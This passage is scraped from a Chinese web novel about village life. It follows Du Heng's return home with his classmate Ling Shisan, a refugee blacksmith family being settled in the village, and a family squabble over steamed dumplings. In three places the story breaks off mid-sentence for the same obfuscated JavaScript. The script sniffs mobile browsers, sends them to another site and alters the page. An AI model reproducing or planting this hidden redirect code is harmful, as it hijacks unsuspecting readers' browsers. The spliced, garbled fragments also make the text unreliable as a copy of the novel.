“杜衡,你们村的人都这么奇怪的吗?” “你才奇怪呢,连这都不懂,笨死你算了。” 杜衡嫌弃地白了凌十三一眼,小跑着追了上去。 罗子哥刚跳出来时就朝他们这边看了一眼,还微微点了下头,看来早就看到他们了,那他就不用再偷偷摸摸跟着了。 河边,高娇娇坐起身,拍掉身上沾的干草,准备回家。 杜映梅帮着高娇娇摘掉头上的干草,嗔怪道, “天儿才刚暖和,早晚还冷着呢,你就这么在草地上睡着,当心染上风寒。” “没睡多久,就是打了个盹儿,晚上吃啥饭?” 高娇娇打着哈欠,转身问道。 却见杜映梅像是突然被点了穴一般,僵直着身子望向村口,眼睛亮晶晶的,满是惊喜。 高娇娇心念一动,忙扭头。 只见罗子哥带着几个人进了村,看衣着打扮应该是流民。 杜衡和凌十三跟在最后头,一人肩上挎着一个大包袱,看着有点子好笑。 “二哥,二哥!” 杜映梅高兴地喊着,一溜烟冲过了桥, “你咋这个时候回来了?怎么不捎个口信我好去接你啊? 怎么背这么多东西?累不累?快,给我,我来背.......” 凌十三只觉得眼前一花,一个姑娘就跟炮仗一样冲了过来,噼里啪啦一通说,那张跟杜衡有几分相像的脸,笑的跟朵喇叭花一样。 别说,还挺喜庆的。 高娇娇跟罗子等人打了声招呼,看了眼那个据说是铁匠的男人,压低声音对罗子道, “我爹和朱叔、陆叔几个,都在我家喝酒呢。” 罗子微微点头,心里有数了,等吃了饭,他就带这个铁匠过去找里正他们。 村里正缺个铁匠呢,来的刚刚好。 最后一丝夕阳的余辉也落下了山,天色整个暗了下来。 高娇娇冲还缠着杜衡问个没完的杜映梅喊, “小梅,走了,带上他俩,先回家吃饭。” 杜映梅这才停止追问,一把拽过杜衡的包袱自己背上,笑着催促道, “二哥,快走,回家,嫂嫂专门给你留了好吃的,保管你从没吃过那么美味的东西。” 一直被忽视的凌十三,听到这话不由有点吃味,小声嘟囔道, “村里能有什么好吃的,一年到头也不知道能不能吃上肉。” 杜映梅这才看到凌十三,忍不住想瞪这个没礼貌又不会说话的人一眼,可又顾忌他是哥哥带回来的客人,只能压着火气小声问杜衡, “二哥,他谁啊?” 杜衡察觉到了小妹语气中的不满,再一次后悔这次怎么就心软了下,带了凌十三这个**烦回来。 但带都带了,杜衡还是尽职尽责为杜映梅介绍道, “他叫凌十三,是我在老家时的同窗,现在同我一起在九川书院读书。” 杜映梅很是惊讶,凌十三不满补充道, “你二哥说的不对,我不仅仅是他同窗老乡,也是他的至交好友。 我比你二哥还大三岁多呢,你既然是他小妹,那以后就叫我凌大哥吧。” 杜映梅实在没忍住,撇了下嘴。 这人未免也太厚脸皮了吧,他们才头一回见,他居然就想让她喊他大哥。 她大哥长的可比这个粗眉毛大眼睛,看着就傻乎乎的小子好看多了。 可凌十三从怀里掏出了一棵银花生,递到了杜映梅跟前,十分大方道, “初次见面,我也没给妹妹准备见面礼,这是过年时我娘给我的银裸子,送给妹妹当见面礼了,还望妹妹别嫌弃。” 杜映梅正往下撇的嘴,猛地就往上翘了起来。 忽然就觉得眼前这个厚脸皮的大哥其实也还行,这个银花生虽然小,但再小也有二两银子了吧。 白给的银子,为啥不要? 杜衡根本来不及阻拦,就见杜映梅甜甜唤了声, “凌大哥!” 就飞快接过了银花生,然后迅速揣进了怀里。 凌十三很开心,觉得杜家小妹真是个爽快人,比杜衡那个磨磨唧唧说话只说一半,总是让人猜的性子,讨喜多了。 杜映梅也很开心,这位自封是二哥至交好友的大哥真是财大气粗,她就喜欢这种大大方方的人。 杜衡很不开心,一个凌十三就够他受的了,结果这人跟小妹凑一块儿,把他小妹也给带的不大正常了。 好在嫂嫂很正常,家里也很好。 今晚杜映梅做的是小米粥和榆钱蒸菜,配粥小菜是姚春香给的腌制好的水芹菜,还有李二娘给的腌野葱。 这样的饭菜在凌十三看来比较简单,既没有肉也没有蛋,但也说得过去,毕竟小米粥熬的稠糊糊,闻着就很香。 可等到杜映梅去灶房噼里啪啦一通炒,又端出来一大碗松茸炒肉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342631|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 高娇娇不知从哪儿摸出来一个小罐子,夹出来一碟子小虾米和小银鱼干,这顿晚饭一下子就变得丰盛了起来。 高娇娇招呼有些傻眼的杜衡和凌十三, “快吃啊,多吃点,这都是专门给你们留的。” 凌十三夹起一条银鱼干尝了尝,咸香鲜甜,好吃。 又吃了个小虾米,脆干油香,十分鲜香。 再夹起一片松茸尝了尝,这是干松茸泡发的,比新鲜的更有嚼劲,配着咸肉一样吃,真真是无上美味。 更让凌十三不淡定的是,杜衡家吃蒸菜,蒜水里居然还放了很多香油。 他家吃野菜团子,他娘都舍不得往蒜水里放这么多香油。 “你小子,难怪一直不肯带我过来呢,原来你在家吃的这么好,真是太不够朋友了!” 凌十三一边愤愤不平,一边不停夹菜往嘴里送。 他以前怎么没发现水芹菜和野葱这么好吃,尤其是配粥,真是太下饭了。 杜映梅见凌十三一口接一口吃银鱼,生怕杜衡吃不上,赶紧夹了一筷子放到杜衡碗里,连声道, “二哥这个补身子,你多吃些,我看你都瘦了。” 见高娇娇抬眼朝自己看过来,杜衡连忙道, “没瘦,我吃的多着呢,就是长高了点,看着瘦罢了。” 凌十三受不了杜衡看似谦虚,实则臭显摆的劲儿了,直接对高娇娇等人道, “他最近开始长个子了,可能长高了一寸吧,本来有点长的学子服,现在倒是合身了。” 杜映梅很是高兴,连忙问道, “二哥,真的啊?你真长高了? 我就说你看着有点不一样了,原来是开始长个子了。 我看以后谁还敢说你长不高,咱爹和大哥都高,我在女子中也算是高的了,你怎么也不会矮的。” 杜衡的笑容僵在了脸上,原来还有人说他长不高。 谁说的? 谁?! 凌十三没忍住笑出了声,高娇娇也想笑,但怕笑出来会伤害到杜衡脆弱的心灵,只能赶紧低头拼命忍住。 高冬月和高小寒也有样学样,恨不得把脸埋进碗里。 只可惜他俩毕竟年纪太小,忍功不似高娇娇那么厉害,头虽然埋起来了,但是肩膀却抖动的厉害。 看的试图偷银鱼干吃的高小黄都有点害怕,悄悄把已经伸到碟子跟前的爪子收了回去,不舍地舔了舔爪子上的**。 第二百三十九章 生机勃勃 次日一早,杜衡是被压醒的。 他以为又是凌十三不老实的胳膊或者腿,闭着眼拧着眉伸出手就要推开,哪知摸到一手**。 吓的杜衡立马睁大了眼睛,对上了一双圆溜溜翠绿泛黄的眼睛。 小黄猫见他醒了似乎很高兴,趴在他的前胸靠近脖颈处,喵喵叫个不停。 杜衡梗着的脖子放松下来,呼出一口长气,揉了揉淘气小猫的脑袋。 他记得这只小猫叫高小黄,昨晚吃饭的时候,就一直围着他绕来绕去,还拿脑袋蹭他的腿,嫂嫂笑着打趣说小黄喜欢他。 没想到居然跑来找他了,看来还真是挺喜欢他的。 被随了嫂嫂姓氏的小猫喜欢,杜衡心情很好,揉着小黄脑袋,听着它呼噜噜,不禁笑了起来。 侧头看了看窗户,天色已经大亮了,听到外面传来窸窸窣窣的响动,杜衡忙从床上坐起。 被撸的很舒服正眯起眼睛打瞌睡的小黄,忽然失重,不悦地喵喵叫了起来。 杜衡抱起小猫,用鼻尖蹭了蹭它的鼻头,轻轻将它放下,柔声道, “自己去玩吧,我得起床干活了。” 现在已经很晚了,他在书院即便再累再困,也不会睡到这个时辰。 兴许是回到家特别心安,也可能是夜晚的村庄比书院更加安静。 穿戴整齐出了门,杜衡见曹婶子和木生正在磨面,便走过去想帮忙,被曹婶子拦住,让他去洗漱吃饭,早饭一直在锅里温着呢。 杜衡见曹婶子态度强硬,便只得去了厨房。 半个来月没回来,厨房跟之前大不一样,看着像是加固过,顶棚比之前厚实的多,墙角也用石头固定了。 灶台后面,靠墙的地方放了个橱柜,橱柜左边放了一张小方桌和五把小椅子。 以后在厨房吃饭,可以坐着,不用端着碗站在灶台边吃了。 吃了饭,洗了碗筷,杜衡在院里转悠着看看自己有什么能干的。 一圈转下来,没发现什么活,发现靠墙的地方长出来一排小苗,一尺来高,看着像是南瓜苗和豆角,估摸再有半个来月就该爬藤了。 杜衡忙去柴房找了些细木棍,靠墙做了一排爬架,等藤蔓长出来就会顺着杆子往墙上爬,然后开花结果,等到夏末秋收,他们就能吃到清脆的豆角和香甜的南瓜了。 干完这点小活儿,杜衡又忍不住去找活儿干,曹寡妇看到他进厨房就头疼。 家里的活本来就不多,他再抢着干,她们娘俩干啥啊? 于是,曹寡妇便找了个由头,让杜衡去河边找高娇娇她们。 走出院门,站在坡上,看坡下的情形,杜衡不由很是震惊。 昨晚天色有些暗,他看的不是很清楚,现在太阳初升,晴空**无云,明亮的很。 河对面那一块块绿油油的田地,坡顶被树围着的蓄水池,完全看不出之前干枯荒凉的影子。 更别提河边正在热火朝天盖房子的工地,以及那个已经建好的大池塘,池塘边上的花红柳绿。 在远处连绵山脉的映衬下,真是好一派生机勃勃的田园风光。 顺着石板路往下走,杜衡不时就能看到斜着从院墙里长出来的一枝桃花。 还有移栽在家门口,已经开的满树白的梨花,以及花瓣虽小但是密密匝匝的李子花,粉嫩嫩的杏花....... 下了坡往河边走,刚冒出嫩芽的柳树,已经开始飘白絮的杨树,还有挂满了花苞的老槐树,正在盛开的梧桐树....... 不过才隔了半个来月,所有的树木花草就像是约定好了一般,都忙碌了起来。 比花草树木更忙碌的是人,田间地头都是人。 或弯腰除草,或蹲下剔除多余的秧苗,或正在种菜,或忙着施肥浇水,干累了坐在田埂上喝口水,跟旁边地里的人说说地里的庄稼,聊聊村里的八卦。 热闹的很。 更让杜衡惊讶的是绕着河边跑的一群小孩,乍一眼看过去,还以为是孩子们追着跑着玩。 仔细一看,他们按身高排好了队,跑起来的时候横排竖行非常整齐,一边跑,一边嘴里还喊着什么。 凑近些,仔细听了听,居然是在背《三字经》。 杜衡不由来了兴致,上前问领队的高二宝, “你们这是在训练?” 高二宝笑着点了点头,告诉杜衡他们现在的训练计划。 得知他们不光打拳射箭,下午还能去朱钰那里学认字算数,杜衡不禁很是羡慕。 他小时候要是能有人这么教导,也不用走那么多弯路,费那么大劲去城里求学了。 生怕高二宝他们年纪小,不知道这样的机会有多难得,杜衡忙叮嘱了他们几句, “二宝,你们可要珍惜机会,好好学啊,这些东西在外头学可是要花高价钱的,人家也不一定真心实意教你们。” “嗯,杜小叔你放心吧,我们会好好学的。” 高二宝笑着应下,他现在可是少年队的队长,不是只会吃喝玩的小孩,他知道什么该做什么不该做了。 高金宝鼓起勇气主动跟杜衡攀谈,35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342632|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “杜小叔,朱先生说我们要是学的好,也让我们去考九川书院,只要考得上,村里公中出钱,送我们去读书考功名呢。” 杜衡在心里感叹高大伯和朱先生的良苦用心,笑着鼓励道, “那你们可要好好读,我们书院只要考的好,不仅不用交束脩,还给发钱呢。” 高金宝不由更加向往,高三宝好奇探出头问道, “杜小叔,那你考的好吗?” 高二宝忙扯了下高三宝,哪儿有这么直接问的,要是杜小叔考的不太好,那他不是很尴尬? 杜衡笑笑, “考的还可以,依旧是甲班第一。” “哇!” 一众小孩顿时惊呼连连,第一啊,听上去好厉害的样子,难怪大人们都说杜小叔能考中秀才! 恰好凌十三过来找杜衡,高三宝等人立刻好奇追问, “大哥哥,你是不是考的跟我们杜小叔一样好?” 凌十三脚步顿住,脸皮发僵,嘴巴像被黏住了一样,开不了口。 他真是做梦也想不到不回家躲到杜衡老家这里了,居然还会被追着问考试成绩。 他能说什么? 他要怎么说? 倒数第一是不是也太丢脸了啊? 杜衡只当没看到凌十三投来的求救目光,自顾自去池塘边找高娇娇他们去了。 高娇娇正带着杜映梅摘香椿,兴许是被她从后山挖了过来,这两棵香椿树出芽比山里的都晚,这两日香椿芽才长出来。 姚春香她们去地里干活的时候看到了,就喊高娇娇过来摘。 树不大,芽倒是长了不少,杜映梅举着自制的简易勾刀,把香椿芽底部圈住,轻轻一拉,就把香椿芽从树上勾了下来。 高娇娇双手抱着筐,跟接球一样接住掉落下来的香椿芽。 两人配合默契,已经摘的差不多了。 见杜衡过来了,高娇娇忙冲他招手, “你来的正好,一会儿我们要去割红条藤,你跟我们一起去吧。” 杜衡不解, “割红条藤干嘛?编筐吗?我看家里的筐还挺多的,应该不缺啊。” “不编筐,编笼子。” 杜映梅美滋滋道, “姚大娘说明天带我们去买鸡苗,嫂嫂打算养十只鸡,咱们要多割些红条藤,编个大大的笼子,免得黄鼠狼把小鸡仔给叼走了。” 杜衡很是惊讶, “现在还有人孵小鸡来卖啊,城里好像都没有卖的了,你们要去哪里买?” 第二百四十章 落户 “去石桥村,就是给咱们刻碑的那个村。 那个村里全是干白事生意的,不怎么跟外人来往,也没怎么受流民**影响。 他们本来是不肯卖的,是姚大娘她们跑了好几趟,说了又说,人家才答应分咱们一点。” 杜映梅说的眉飞色舞,十分开心, “嫂嫂说等回头再想办法买几只小鸭小鹅,咱们这儿有河,鸭子和鹅不用喂,放出去它们就会自己去河边找吃的。 到时候咱们腌咸鸭蛋咸鹅蛋吃,嫂嫂说咸鹅蛋腌的好了可好吃了,那么大一个鹅蛋黄,流油的香。” 杜映梅把自己给说馋了,忍不住咽了口口水。 高娇娇看的好笑不已,打趣道, “你可把嘴巴闭紧了,要不口水该流到我筐里了。” 杜映梅脸红跺脚,跟杜衡撒娇, “二哥,你看嫂嫂,又笑话我。” 杜衡也笑,三人正其乐融融,凌十三嚷嚷着跑了过来, “杜衡你小子真不地道,把我一个人扔下跑了,来者是客知不知道?” 杜映梅见不得别人欺负她二哥,立马怼了回去, “客随主便知不知道?你这人岁数比我们都大,怎么还一点都不稳重呢?” 凌十三简直不敢相信自己的耳朵,指着自己鼻尖问杜映梅, “我岁数大,我不稳重? 你这小丫头说话要不要这么难听啊?” “我说的可都是实话,哪句不对了?难听你别听啊!” “你,你懂不懂什么叫尊老爱幼?” “你既不老,也不幼,我为啥要让着你?就凭你脸皮厚?” “杜衡,你管管—— 哎,你们别走啊,等等我,等等我........” 高娇娇和杜衡并肩走在前头,杜映梅紧跟在他们身后,凌十三跟在最后头,快走两步跟杜映梅并排,就又忍不住开始互怼。 俩人跟冤家对头一样,怼起来就没完,高娇娇和杜衡被吵的受不了,就加快脚步,跟他们拉开距离。 然后杜映梅发现,就小跑着追上来,凌十三也跟着追。 再然后就又变成之前的样子,无限循环,哪怕到了红条藤所在的山坡也停不下来,弄的杜衡郁闷不已。 好不容易回趟家,他竟然连跟嫂嫂单独说会儿话的机会都没有,下次再带凌十三回家,他就是狗! 另一边,罗子按照高长天的吩咐,带着常铁柱一家去了之前坍塌,后又重建加固过的窑洞。 罗子媳妇正在窑洞门口等着,见他们过来,忙笑着招呼道, “屋里都收拾好了,你们看看还有啥缺的少的,就跟我说,我再想办法。 我平日里不是在家就是在绣坊,我看你家这个小姑娘也有**岁了吧,正是学绣活的年纪。 你们要是愿意,可以送到绣坊让坊主看看。 要是能被选中,不光能学手艺将来绣花赚钱,绣坊还管饭,也能替家里省些口粮。” 铁柱老娘不敢相信世上还有这等好事,赶忙问道, “您说的可是真的?我们这样的人也能去学手艺? 我家穷,可出不起拜师费啊。” 罗子媳妇握住铁柱老娘的手,笑着拍了拍道, “您老放心吧,您一家子愿意入户咱们村,以后就是咱们村的人了。 咱们村的女娃只要想,都能去学,不要拜师费。 将来学成了,卖绣品的钱,绣坊跟咱们也是五五分。” 铁柱老娘高兴坏了,激动地老泪纵横,连声道, “哎呦,真是菩萨保佑,祖宗显灵了,这样的好事也能让我们遇上。 不怕你们笑话,我现在还跟做梦一样,走路都是轻飘飘的呢。” 常铁柱等人也觉得是在做梦,昨晚他们吃了馒头喝了粥,还吃了肉。 那么大片的咸肉炖蘑菇,香的他们差点吞掉自己舌头。 吃饱喝足后,好心的罗子兄弟还跟媳妇烧了两大锅水,让他们一家好好洗了个澡。 罗子他娘还找出几件洗的很干净的旧衣服,让他们换上。 罗子媳妇还给了他侄女两条绣了粉色桃花的发带,帮他侄女梳了个非常好看的双螺髻。 说是这是现在城里最时兴的发式,村里的小姑娘都这么梳,可把他侄女高兴坏了。 洗了澡换了衣服,罗子兄弟就带他们去见了里正。 里正也是个大好人,知道他们一家都是老实本分的人,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15342633|167861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是同情他们的遭遇。 跟村里几个管事的商量了一下,帮他们想了个办法,给他们认了个远方老姑,让他们落户。 昨晚他们一家就是住在隔壁村老姑家,老姑是个老寡妇,儿子媳妇都在寒潮时冻**。 现在家里就剩下她一个人,孤苦伶仃的,全靠村里人接济过活。 他承诺会给老姑养老送终,老姑便在里正的见证下,认下了他们一家。 再过几日,里正就会去衙门办两村合并的事,到时候会把他们一家上到老姑的户籍下,他们就能在这里落户了。 里正说,按照以前的落户办法,他们一家应该能接管老姑家原本的田地。 但是老姑家的窑洞太小,住不下他们一家,为了以后做工方便,就把村里没人住的窑洞给他家了。 不仅如此,里正还让人送来了被褥锅碗,和二十斤粮食。 里正说这些算是村里赊给他家的,以后会从他的工钱里扣除,只要他把身体养好了,好好干活,要不了两个月就能还清。 常铁柱问了罗子才知道,石楼村的人不光靠种地过活,还能做工。 村里修路挖水渠堆肥砍柴巡逻什么的,都是集体出工,里正会按每个人出工多少,给大家伙算工钱。 除了做工外,村里还鼓励个人开办作坊。 自己有手艺但是没钱的,可以先从里正那儿借钱,等到作坊开起来,赚了钱再连本带息还回去就行。 村里现在已经有医馆和绣坊了,有人正在申请开磨坊和榨油坊以及豆腐坊,罗子劝他趁着现在村里公中还富裕,赶紧申请开个铁匠坊。 只要开起来,以后给大家伙修修农具,打个铁锅菜刀什么的,就足够他们一家的日常花销了。 常铁柱很是心动,他从小跟着老爹学打铁,除了这门手艺也没别的擅长的了,要是能在这里继续开铁匠铺子,那真是再好不过。 不过铁匠铺子不比磨坊那些,得建烘炉,买模具,砧子,风箱,还有很重很贵的大铁锤,以及需得跟衙门报备才能采买的矿石。 需得不少银子呢,他初来乍到,还没给村里干过任何事,就贸然问里正借这么一大笔钱,实在张不开嘴。 还是再等等,看看情况吧。 第二百四十一章 荞麦蒸饺 罗子见常铁柱犹豫不决,也不催,只尽心尽力帮着他们一家安顿。 等到送走了罗子夫妇,常老娘坐在炕上,摸着软和的被褥,忍不住落泪。 常铁柱眼眶也泛了红,轻声劝道, “娘,别哭了,我以后好好干,一定能让您老过上好日子。” “儿啊,我是想你爹他们了,他们要是还活着该多好啊,这样的好地方,这么多好人,咱们真是掉进福窝里了。” 常老娘抬起袖子擦了擦眼泪,想笑,又忍不住哭。 常铁柱抚了抚老娘的背,过去的都过去了,以后他们把爹和大哥大嫂没享的福,一起享了。 常大妮伸出小手帮常老娘擦眼泪,常老娘看着懂事的大孙女,没忍住一把把孩子搂进怀来哭了起来。 “爹,爹!” 常小虎被吓到了,扯着常铁柱的裤腿直喊。 常铁柱弯腰抱起儿子,将头埋入孩子软乎乎的脖颈处,放肆让眼泪流了出来。 常小虎不知所措地拍着常铁柱的后背,不懂他们为什么哭,他一点也不想哭。 这里可真好,有饭吃有房住,还能穿干净衣服,他想一辈子都住在这儿,再也不去逃荒了。 后山西坡,高娇娇估摸着红条藤够了,就喊众人停下,准备绑成捆背回家。 凌十三自告奋勇,要背那捆最大的。 杜映梅刚想开口,高娇娇悄悄冲她摆了摆手,杜衡将砍刀收入筐中,好整以暇等着看凌十三笑话。 凌十三觉得不就是一捆藤条能有多重,他可是专门练过,能举起二百斤大石墩的人呢。 要不是爹娘一心想让他从文,他早就去考武举人了。 哪知蹲下背起藤条捆,用力起,没起来,再用力,人被扯的差点翻过去。 杜映梅咬着嘴唇,差点没笑出声,凌十三刚才那样子活似个翻盖王八。 杜衡一点也不客气,笑的格外大声。 凌十三燥的面红耳赤,扔下藤条捆,起身抱怨, “这捆的有问题,我都使不上力,要是有人帮着抬起来,我肯定能背的动。” 高娇娇默不作声,上前两步,单手提起藤条捆,就往凌十三怀里扔。 凌十三吓的哇哇大叫,连连后退摆手, “嫂嫂别闹,不带这么玩我的,我明天还要回书院,你把我手砸坏了我就写不了字了.......” 高娇娇笑了起来,用力一甩,把藤条捆甩到肩上,冲杜映梅他们喊了声,扛着就往回走。 凌十三擦了擦脑门上的汗,好心提醒杜衡, “兄弟,你以后可千万别惹你嫂嫂生气。” 杜衡无语地白了凌十三一眼,那可是他亲嫂嫂,他怎么舍得惹她生气? 杜衡难得回来一趟,姚春香早早提了一大块咸肉过来,跟曹寡妇一起做午饭。 早上刚摘的榆钱淘洗干净放到小篮子里沥水,咸肉切碎,加入葱姜剁成肉馅,将控干水分的榆钱倒进去。 加点盐,放点香油,再放点闺女用干虾米磨成的粉,搅拌均匀,饺子馅就拌好了。 曹寡妇的面团也揉好了,一半白面一半荞麦面,搅匀,放点盐,倒入烧开的水,揉成一个光滑的面团。 盖上湿布,醒一会儿就能开始包饺子了。 厨房门口,田木生低着头剥蒜。 吃饺子要沾蒜泥醋,人多要剥一整头蒜才够。 把剥好的蒜放入石臼,放点盐捣成泥,加入醋和放凉的开水,倒入碗中,再滴几滴香油。 好吃的蒜泥醋就做好了,田木生闻着那股子诱人的香味忍不住吞口水。 就算没蒸饺,光沾这个蒜泥醋,他都能吃两个大菜团子。 等到高娇娇几人回到家,饺子已经放入了蒸笼,快蒸熟了。 一进门就闻到了香味,杜映梅扯着嗓子问, “曹婶子,今儿中午做了啥好吃的啊,这么香!” “荞麦蒸饺,榆钱肉馅的。” 曹寡妇手上还捏着饺子皮,从窗户里探出头,笑着回道。 杜映梅高兴坏了,把东西放下就要往厨房钻,饺子,还是蒸饺,肉馅的,那得多好吃啊! 凌十三看见她那副馋的要流口水的样儿,取笑道, “吃个蒸饺就把你高兴成这样了,至于吗? 等回头你去城里找我,我请你下馆子,鸡鸭鱼肉随便你点。” 杜映梅头也不回,直奔向厨房,扔给凌十三一句, “鸡鸭鱼肉也没我大娘婶子包的饺子香。” 凌十三不信,饺子能有多好吃,他又不是没吃过。 可等饺子上了桌,凌十三一口下去呆住了,这口感,这味道,哎呦,嘿,他还真没吃过。 杜映梅见凌十三一口一个,吃的跟饿死鬼投胎一样,忍不住用筷子挡住他的筷子,瞪眼道, “你慢些吃,吃那么快也不怕噎着。” 说完,还把饺子汤往他跟前推了推, “多喝点汤顺顺。” 凌十三才不喝,这丫头指定是嫌他吃得多,怕她二哥吃不上。 哼,他就吃,他还从没吃过皮这么有嚼劲,滑溜溜的蒸饺呢,香的很。 姚春香知道凌十三是镖局少东家,从小到大没吃过什么苦,十有八九也没怎么吃过荞麦这种粗粮,怕他一下子吃的太多不好消化,忙劝道, “这是荞麦面做的蒸饺,荞麦面跟白面不一样,要粘一些。 你头回吃,不敢吃这么快,慢些吃,喝点汤顺顺。 放心,大娘包的多着呢,保管你们吃撑也吃不完。” 凌十三一听这话,才放慢了速度,但嘴腾出空了,也不肯闲着。 一边吃,一边跟姚春香她们说着听来的新鲜事,从镖局走镖遇到耳聋的贼,到书院号舍里不怕人的小老鼠,说的那叫一个眉飞色舞,滔滔不绝。 把姚春香她们逗得笑的脸疼,也把杜衡吵的耳朵都快聋了,再一次深深后悔把这么个东西带回来。 笑声传到隔壁高家院里,听得刘小翠心痒痒到不行。 刘小翠自从上午看到婆婆提了一大块咸肉过去,就伸长脖子趴在院墙上偷看。 看到她们做了蒸饺,忍不住眼馋。 可她一向抠门惯了,不年不节的舍不得做那么好的饭,纠结半天,中午还是做了榆钱蒸菜,只在做蒜水时多滴了两滴香油。 高春花去后山挖了半天野菜又砍了一捆柴,回来见午饭又是榆钱蒸菜,有点倒胃口,但也强忍着没说什么。 只是吃的时候,难免觉得胃里发酸。 自从分了家,她家的伙食就一天不如一天,以前跟着爷奶,不说天天有肉吃,隔三差五总能吃上肉。 即便没肉,饭菜里也不缺油水,吃的也都是干饭。 分家后,娘管家掌勺,肉是十天半月才能吃上一回,还是肉沫油炸之类的,不是正儿八经的大肉块。 干饭也吃的少了,尤其在有野菜后,更是顿顿野菜,不是野菜团子,就是蒸蒸菜,吃的高春花觉得自己脸都快绿了。 还不能抱怨,一抱怨娘就委屈的不行,说她都是为了这个家,又不干重活能吃饱就行了,外面吃不饱的人可多着呢。 可她家现在又不是难民,分家的时候,粮食和银钱,爷奶可没少他们一点。 怎么就连吃顿干饭都吃不起了呢? 高春花艰难咽下一口蒸菜,想起张狗子,忙问刘小翠, “娘,我让你给狗子哥蒸的鸡蛋羹,你给蒸了吧?” 刘小翠怔了下,有些心虚地撇过头,目光闪烁不定。 第二百四十二章 给她当女婿正合适 高春花顿时急了, “狗子哥伤还没好呢,一天一个鸡蛋不能省,你怎么连他的口粮也克扣——” “你吵吵个啥,我没克扣!” 刘小翠被高春花一吼不由恼了,瞪眼怒道, “没大没小,别以为订了亲就翅膀硬了,就算你将来当了那啥侯府的夫人,我也是你老娘!” 高春花气得不行,强压着火气试图跟刘小翠讲道理, “我知道你是我娘,我该怎么孝敬就怎么孝敬,可狗子哥不一样。 他受了那么重的伤,必须得吃点好的养一养。 你也知道他的出身,你现在这么对他,以后哪儿还有脸指望他孝敬?” 刘小翠自知理亏,但她不认,梗着脖子道, “你懂个屁,我是看他天天吃鸡蛋,都吃腻了,想给他换换胃口,吃点别的。 东院今儿做了蒸饺,你去跟你奶她们说狗子想吃,你奶不会不给的。” 高春花简直要气死,都分家了,娘居然还想让她舔着脸去姑姑家讨要吃的。 她才不去,她没那么不要脸! 刘小翠见高春花不情愿,顿时如抓到了她的把柄般,得意洋洋道, “看吧,你也就是嘴上疼人,其实心里对人家狗子也就那样,连个蒸饺都不肯为他要。 他要是知道你这么对他,心里得多不是滋味啊。 关键时候,还得靠我这个丈母娘,丈母娘疼女婿,那可是实打实的疼。” 说完,抬脚下炕,就往东院走。 高春花被刘小翠的厚颜无耻震惊了,反应慢了一拍,刘小翠就已经脚下生风冲到了东院。 东院,高娇娇一口气吃了三十个蒸饺,觉得有点顶。 刚端起碗准备喝两口汤顺顺,门帘突然被挑开,一道身影冲了进来。 被一屋子人注视着,刘小翠没有半点不好意思,笑嘻嘻凑到炕桌跟前看了看,扭头就冲姚春香道, “娘,狗子这两天嘴里没味儿,闻到你们这边香的很,有点馋。 我看你们包了挺多蒸饺的,要不,这盘让我端回去给他解解馋?” 说着,手就往那盘堆的最满的蒸饺上伸。 姚春香脸色很是难看,本以为分家能让老大媳妇警醒收敛些,哪知她这个蠢货自觉有侯府亲家傍身,行事做派比之前更加不像话。 高娇娇才不惯着刘小翠,抬手就拿起筷子打了过去。 刘小翠以为当着这么多人的面,又有张狗子当借口,婆婆就算不情愿也不会这么不给脸,却忘了这里是高娇娇的家。 而高娇娇从来不会顾及任何人的情面,谁敢惹她不高兴,她就让谁再也高兴不起来。 “啪!” 一筷子结结实实打在了刘小翠的手背上,疼的她尖叫一声,直接蹦了起来。 疯狂甩着手,看着手背上明显鼓起来的两道红痕,刘小翠气炸了,扭头冲着高娇娇就要骂。 高娇娇立刻举起了筷子,大有刘小翠敢张嘴就打她嘴的架势。 刘小翠已经冲到嘴边的咒骂,硬挺挺咽了回去,堵的她心口生疼。 忍了又忍,还是没忍住,刘小翠瞪着高娇娇咬着后槽牙挤出一句, “我可是你大嫂!” “你要不是我大嫂,我能直接把你手打折你信不信?!” 高娇娇冷着脸,手指用力收紧。 “咔嚓!” 从城里买的,质地坚硬的红木筷子,被她单手给折断了。 刘小翠气的通红的脸,不禁有点发白。 脑子终于从婆婆偏心,做了好吃的一口也不给她家分的愤慨上,转回到小姑子发狠打人时有多疯的恐惧上来。 姚春香板着脸,沉声道, “老大媳妇,已经分家了,就各过各的吧。 以后没事少来这边,娇娇要真把你打出个好歹,那也是你活该,我和你爹可是不会管的。” 刘小翠铁青着脸往回走,迎面碰上了过来找她的高春花。 高春花一看刘小翠那脸色,就知道她肯定是又在姑姑那里吃了瘪,心里暗暗有点开心,又有点说不出的难过。 她怎么就摊上了这么个娘啊? 无奈在心里叹了口气,高春花压低声音劝刘小翠道, “娘,咱家现在有房有地还有不少银钱,你想吃啥喝啥只管去买就是,何必再占这个便宜? 等将来我成了亲,在京城站稳了脚跟,多多给你些银钱,再给你买俩小丫鬟服侍,让你也过过好日子。 